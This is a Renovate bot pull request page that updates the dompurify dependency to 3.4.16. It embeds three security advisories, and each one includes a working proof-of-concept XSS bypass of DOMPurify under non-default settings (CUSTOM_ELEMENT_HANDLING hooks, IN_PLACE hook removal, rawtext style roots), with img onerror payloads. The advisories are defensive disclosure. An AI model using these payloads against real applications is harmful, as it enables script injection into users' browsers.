chore(deps): update dependency dompurify to v3.4.16 [security] (stable33) by renovate[bot] · Pull Request #3438 · nextcloud/viewer

renovate · 2026-10-12T11:12:00Z

This PR contains the following updates:

Package	Change	Age	Confidence
dompurify	`3.4.15` → `3.4.16`

DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements.

CVE-2026-66010 / GHSA-c2j3-45gr-mqc4

More information

Details

Summary

There is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving CUSTOM_ELEMENT_HANDLING.

When a custom element is allowed via CUSTOM_ELEMENT_HANDLING.tagNameCheck, it appears that the element does not go through afterSanitizeElements in the same way as a normal element. As a result, an application that relies on afterSanitizeElements as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.

This does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as innerHTML, creating a second-order XSS gadget.

Details

The issue appears to originate from the control flow in src/purify.ts: line 1672~1691

const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }

CUSTOM_ELEMENT_HANDLING is parsed from user configuration at src/purify.ts: line 741~748

const customElementHandling =
      objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') &&
      cfg.CUSTOM_ELEMENT_HANDLING &&
      typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'
        ? clone(cfg.CUSTOM_ELEMENT_HANDLING)
        : create(null);

    CUSTOM_ELEMENT_HANDLING = create(null);

In particular, tagNameCheck, attributeNameCheck, and allowCustomizedBuiltInElements are copied into the internal CUSTOM_ELEMENT_HANDLING object there.

During element sanitization, _sanitizeElements() checks whether a node is forbidden or not allowlisted at src/purify.ts: line 1805~1814

/* Remove element if anything forbids its presence */
    if (
      FORBID_TAGS[tagName] ||
      (!(
        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)
      ) &&
        !ALLOWED_TAGS[tagName])
    ) {
      return _sanitizeDisallowedNode(currentNode, tagName);
    }

If so, it immediately delegates to _sanitizeDisallowedNode(currentNode, tagName) and returns its boolean result.

Inside _sanitizeDisallowedNode(), the custom-element-specific allow path is implemented at src/purify.ts: line 1672~1692

const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }

If the node is treated as a basic custom element and CUSTOM_ELEMENT_HANDLING.tagNameCheck matches, the function returns false immediately at line 1682 or 1689, meaning “do not remove this node”.

That early return false is significant because control returns directly to _sanitizeElements() via the return _sanitizeDisallowedNode(...) at line 1813. As a result, the later logic in _sanitizeElements() is skipped for that custom element instance, including:

the namespace validation at src/purify.ts: line 1816~1826

* Check whether element has a valid namespace.
       Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype
       nodeType getter rather than `instanceof Element`, which is realm-
       bound and short-circuits to false for any node minted in a different
       realm — letting a foreign-realm element with a forbidden namespace
       slip past the namespace check entirely. */
    const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;
    if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) {
      _forceRemove(currentNode);
      return true;
    }

the fallback-tag mXSS check at src/purify.ts: line 1828~1837

/* Make sure that older browsers don't get fallback-tag mXSS */
    if (
      (tagName === 'noscript' ||
        tagName === 'noembed' ||
        tagName === 'noframes') &&
      regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)
    ) {
      _forceRemove(currentNode);
      return true;
    }

most importantly for this report, the afterSanitizeElements hook dispatch at src/purify.ts: line 1850~1851.

   /* Execute a hook if present */
    _executeHooks(hooks.afterSanitizeElements, currentNode, null);

In other words, a normal allowlisted element continues through _sanitizeElements() and reaches hooks.afterSanitizeElements, but a disallowed-by-default element that is revived by the CUSTOM_ELEMENT_HANDLING.tagNameCheck path does not. This creates a policy inconsistency: an application that relies on afterSanitizeElements to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through CUSTOM_ELEMENT_HANDLING.

In the PoC, the application hook removes data-bio from ordinary elements, but the same attribute remains on <x-bio> because the custom-element keep path bypasses afterSanitizeElements. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved data-bio value in connectedCallback() and writes it to innerHTML, turning the preserved attribute into a second-order XSS gadget.

PoC

Reproduced on DOMPurify 3.4.11.

Steps

Save the following HTML to a file, for example poc.html.
Open it in a browser.
Observe that the div control loses data-bio, while the allowed custom element keeps it.
Observe that after connectedCallback() runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink.

HTML PoC

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script>
</head>
<body>
<pre id="result"></pre>

<script>
window.__controlFired = false;
window.__candidateFired = false;

customElements.define("x-bio", class extends HTMLElement {
  connectedCallback() {
    const bio = this.getAttribute("data-bio");
    if (bio) this.innerHTML = bio;
  }
});

DOMPurify.addHook("afterSanitizeElements", node => {
  if (node.hasAttribute && node.hasAttribute("data-bio")) {
    node.removeAttribute("data-bio");
  }
});

const config = {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: /^x-/
  }
};

const controlInput =
  '<div data-bio="&lt;img src=x onerror=window.__controlFired=true&gt;"></div>';

const candidateInput =
  '<x-bio data-bio="&lt;img src=x onerror=window.__candidateFired=true&gt;"></x-bio>';

const cleanControl = DOMPurify.sanitize(controlInput, config);
const cleanCandidate = DOMPurify.sanitize(candidateInput, config);

const container = document.createElement("div");
container.innerHTML = cleanCandidate;
document.body.appendChild(container);

setTimeout(() => {
  document.getElementById("result").textContent =
    "This is not direct DOMPurify XSS.\n" +
    "The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" +
    "control: " + cleanControl + "\n" +
    "candidate: " + cleanCandidate + "\n" +
    "after connectedCallback: " + container.innerHTML + "\n" +
    "control fired: " + window.__controlFired + "\n" +
    "candidate fired: " + window.__candidateFired;
}, 100);
</script>
</body>
</html>

Expected result

control: <div></div>
candidate: <x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>
after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.__candidateFired=true"></x-bio>
control fired: false
candidate fired: true

This is output of HTML PoC.

Impact

This does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass.

The impact is limited to applications that:

enable CUSTOM_ELEMENT_HANDLING,
rely on afterSanitizeElements as a security policy layer,
expect that hook to apply uniformly to all surviving elements,
and have allowed custom elements that later re-inject preserved attribute values into innerHTML or another HTML sink.

In that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.

Possible fixes or mitigations might include

ensuring that allowed custom elements also consistently pass through afterSanitizeElements
documenting clearly that elements preserved via CUSTOM_ELEMENT_HANDLING may not participate in the same post-element hook flow as normal allowlisted elements.

Severity

CVSS Score: 2.1 / 10 (Low)
Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS

GHSA-55q2-fjhq-7xh7

More information

Details

Summary

During IN_PLACE sanitization, a hook that removes an element can leave that element's detached descendants executable. A descendant image can retain its attacker-provided onload handler and fire after sanitize() returns, even though the returned root is clean and the image remains disconnected from the document.

Details

In DOMPurify 3.4.12, _sanitizeElements() in src/purify.ts:1862-1904 runs the beforeSanitizeElements or uponSanitizeElement hook and returns immediately when the hook detached the current node. The return does not call _neutralizeSubtree(currentNode).

The detached subtree is not added to DOMPurify.removed, so the post-walk IN_PLACE neutralization cannot reach it. If the browser queued a resource event while the application constructed the detached dirty root, a descendant can therefore retain its handler and execute after sanitization.

The hook only rejects the containing element and does not add or approve the event handler. DOMPurify's ordinary removal path de-arms the same queued event; only the hook-detachment early return skips the existing subtree neutralization.

PoC

Load the published dompurify@3.4.12 dist/purify.js before this script in Chromium:

<div id="result">not fired</div>
<script>
const root = document.createElement('div');
root.innerHTML = `
  <footer>
    <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"
         onload="result.textContent = 'XSS after sanitize'">
  </footer>
  <div>safe</div>`;

DOMPurify.setConfig({
  ALLOWED_TAGS: ['div', '#text', 'footer'],
  IN_PLACE: true
});
DOMPurify.addHook('uponSanitizeElement', node => {
  if (node.tagName === 'FOOTER') node.remove();
});

DOMPurify.sanitize(root);
document.body.append(root);
</script>

sanitize() returns with no handler execution and the returned root contains only the safe div. After the event loop advances, the original image remains disconnected but its retained onload changes the page to XSS after sanitize.

As the claim-matched control, use the same detached input with ALLOWED_TAGS: ['div', '#text'] and no hook. DOMPurify's ordinary removal path removes the original image's handler, the returned root is still <div>safe</div>, and the marker does not fire.

Impact

In an application that uses IN_PLACE with the documented element-removal hook pattern, an attacker who can supply HTML can execute JavaScript in the integrating application's origin after the application sanitizes and renders that content.

The required non-default configuration is IN_PLACE plus a hook that removes a containing element. The hook does not add or approve the event handler, and the dirty root never needs to be connected before sanitization.

Suggested fix

Reuse the existing _neutralizeSubtree(currentNode) helper before returning from both hook-detachment branches in _sanitizeElements(). Add regressions for beforeSanitizeElements and uponSanitizeElement that retain a reference to a descendant resource element and verify that its event handler is removed after the hook detaches its ancestor.

Severity

CVSS Score: 5.1 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup — pure HTML reparse executes

GHSA-6688-9rhm-gjv2

More information

Details

Environment

dompurify 3.4.15 (current npm release); reproduced independently on jsdom 30.0.1 and 29.1.1 (Node.js 20.x / 26.x)
Config: DOMPurify.sanitize(node, { IN_PLACE: true }) on a Node input; SAFE_FOR_XML at its default (true)

Summary

The 3.4.9 fix for the IN_PLACE detached-root class added two protections on the IN_PLACE return path: a fail-closed TypeError in _forceRemove when a node selected for removal cannot be detached, and a _neutralizeSubtree pass (dist/purify.js line 1336) that strips non-allowlisted attributes from removed subtrees.

Both miss the rawtext text-content form. When the force-removed root is a rawtext element (<style>), the payload lives in the node's text: the node detaches fine (the TypeError guard is not reached), _neutralizeSubtree strips nothing (there are no attributes), and the IN_PLACE exit returns the detached, never-sanitized <style> whose text still carries live markup. Serializing that node and re-parsing it in plain HTML context materializes the payload — no foreign-content context required.

The same Node input sanitized without IN_PLACE returns an empty result: the only difference is the IN_PLACE return path handing the killed node back.

Steps to reproduce

const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');   // 3.4.15

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

const styleRoot = window.document.createElement('style');
styleRoot.setAttribute('onclick', 'alert(1)');    // attribute payload
styleRoot.textContent = '</style><img src=x onerror=1>';  // text payload
window.document.body.appendChild(styleRoot);

const returned = DOMPurify.sanitize(styleRoot, { IN_PLACE: true });

console.log(returned === styleRoot);                       // true (same node)
console.log(styleRoot.parentNode === null);                // true (detached)
console.log(styleRoot.outerHTML);
// <style></style><img src=x onerror=1></style>
console.log(styleRoot.getAttribute('onclick'));            // null  (attribute neutralized)
console.log(styleRoot.textContent);                        // '</style><img src=x onerror=1>' (text survives)

// plain HTML reparse (no foreign-content context involved):
const probe = window.document.createElement('div');
probe.innerHTML = returned.outerHTML || styleRoot.outerHTML;
console.log(probe.querySelectorAll('img').length);         // 1
console.log(probe.querySelector('img').getAttribute('onerror')); // "1"

Observed on 3.4.15: one node, one call — the onclick attribute is neutralized while the text payload (</style><img src=x onerror=1>) survives verbatim; serializing and re-parsing the returned node in plain HTML context materializes the img with the live onerror handler.

Contrast on the same Node input without IN_PLACE: RETURN_DOM: true → <body></body>; RETURN_DOM_FRAGMENT: true → 0 children — the payload is fully sanitized away. The only difference is the IN_PLACE return path.

Contrast on the removal trigger: SAFE_FOR_XML: false → the node is not removed (detached stays false); plain CSS text → not removed. The removal is gated by the mXSS text probes and happens specifically because the serialized node would re-open tags on reparse.

Root cause

_isUnsafeNode (dist/purify.js 3.4.15, lines 1700–1714) removes nodes whose literal text would re-open tags on reparse — shape (b) in the source comment is "text-only content that already carries the element's OWN end tag", detected by the LITERAL_TEXT_CLOSE probe (line 385) alongside the ELEMENT_MARKUP_PROBE (line 339) rules. _forceRemove (line 1122) records the node in DOMPurify.removed ({element}) and detaches it. The removal is intentional: the upstream comment states these shapes are removed because the literal serializer emits them verbatim for the HTML parser to re-open.

The IN_PLACE exit then hands the force-removed root back to the caller — the very node whose removal DOMPurify.removed just recorded (verified: DOMPurify.removed.some(e => e.element === root) is true on the returned instance). The 3.4.9 _neutralizeSubtree pass (line 1336) addresses only the attribute form — its own docstring: "walks a removed subtree and strips every attribute" (purpose: cancel queued resource events). Rawtext text content is out of its scope, so the removal that was performed specifically to prevent reparse is undone by returning the node: you removed it to stop the reparse, then returned it.

Differential (one node, one call, same removal path): the onclick attribute is neutralized by the existing pass while the text payload survives verbatim — the attribute axis is covered, the text axis is the gap.

Impact

Identical blast radius to the published IN_PLACE family: an application that sanitizes a Node in IN_PLACE mode and re-inserts (or serializes and then re-inserts) the result materializes attacker markup in plain HTML context: script execution in the page. Moving the returned node via appendChild alone is safe; the round trip through serialization is what fires the payload. No foreign-content context is required with the close-tag payload.

Affected versions

Verified live: 3.4.15 (current).
Source-verified: the attribute-only _neutralizeSubtree and the IN_PLACE return path are present in 3.4.9–3.4.14; releases before 3.4.9 predate the fix entirely (unconditional return; individual pre-3.4.9 releases not dynamically tested).
Per cure53 advisory convention the affected range is reported as <= 3.4.15 (current at time of writing).

Suggested remediation

Primary (root-cause, covers every form): at the IN_PLACE exit, check whether the returned root was recorded during sanitization — DOMPurify.removed.some(e => e.element === root) — and fail closed: throw the same TypeError style used by the 3.4.9 detach guard ("a node selected for removal could not be safely returned; refusing to sanitize in place"), or return null. This is consistent with the existing fail-closed design and covers all present and future root-kill reasons in one check.

Secondary (form-specific): extend _neutralizeSubtree to neutralize text content of rawtext descendants — the elements in LITERAL_TEXT_ELEMENT_NAMES (style, script, xmp, iframe, noembed, noframes, plaintext, noscript) — by rewriting textContent to a defanged form, matching the probe coverage of _isUnsafeNode/LITERAL_TEXT_CLOSE.

A regression test asserting that a force-removed rawtext root comes back with no /<[/\w!]/ match in textContent (and is not returned at all under the primary fix) prevents re-introduction.

Prior art / differentiation

GHSA-r47g-fvhr-h676 (fixed 3.4.6): clobbered-form root removal — different trigger; this report's root is a normal allowlisted style element killed by the text probe.
GHSA-55q2-fjhq-7xh7 (low): IN_PLACE hook removal leaves a detached subtree executable — the attribute-form twin (hook-stripped subtree retains onload-class handlers). This report's rawtext text form is not covered by _neutralizeSubtree's attribute stripping and is not that advisory.
GHSA-h8r8-wccr-v5f2 (medium): mXSS via re-contextualization in the standard (non-IN_PLACE) serialize path — different mechanism; IN_PLACE is not involved.
The 3.4.9 release notes credit @mozfreedyb for the IN_PLACE handling improvements that this residual escapes on the text axis.

Applicability scope (stated up front)

The payload materializes when the application serializes and re-parses the sanitizer output (innerHTML assignment, template rendering, markdown/HTML round trips) or otherwise consumes the returned node's markup. Moving the returned node via appendChild alone does not trigger it. Applications that pass live, connected attacker trees into IN_PLACE are explicitly warned against by upstream's own source comment; this report concerns the serialize-and-reinsert consumption pattern that the IN_PLACE mode exists to serve.

Severity

Low

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

cure53/DOMPurify (dompurify)

`v3.4.16`: DOMPurify 3.4.16

Compare Source

Fixed a problem with IN_PLACE node removal when working with hooks, thanks @manus-pi
Fixed a problem with IN_PLACE sanitization and raw-text roots, thanks @h-t-m
Fixed a problem with ESM default exports landing in CommonJS declarations, thanks @ssi02014
Migrated from rollup to rolldown because performance, thanks @ssi02014
Bumped several dependencies where possible

Configuration

📅 Schedule: (in timezone Europe/Berlin)

Branch creation
- At any time (no schedule defined)
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

chore(deps): update dependency dompurify to v3.4.16 [security]

8b4fe3a

renovate Bot added 3. to review Waiting for reviews dependencies Pull requests that update a dependency file labels Oct 12, 2026

renovate Bot requested a review from skjnldsv October 12, 2026 11:12

Navigation Menu

Repository navigation

chore(deps): update dependency dompurify to v3.4.16 [security] (stable33) - #3438

chore(deps): update dependency dompurify to v3.4.16 [security] (stable33)#3438
renovate[bot] wants to merge 1 commit into
stable33from
renovate/stable33-npm-dompurify-vulnerability

renovate Bot commented Oct 12, 2026

Uh oh!

This branch has not been deployed

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate Bot commented Oct 12, 2026

DOMPurify: CUSTOM_ELEMENT_HANDLING bypasses afterSanitizeElements for allowed custom elements.

Details

Summary

Details

PoC

Steps

HTML PoC

Expected result

Impact

Severity

References

DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS

Details

Summary

Details

PoC

Impact

Suggested fix

Severity

References

DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup — pure HTML reparse executes

Details

Environment

Summary

Steps to reproduce

Root cause

Impact

Affected versions

Suggested remediation

Prior art / differentiation

Applicability scope (stated up front)

Severity

References

Release Notes

v3.4.16: DOMPurify 3.4.16

Configuration

Uh oh!

This branch has not been deployed

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements.

`v3.4.16`: DOMPurify 3.4.16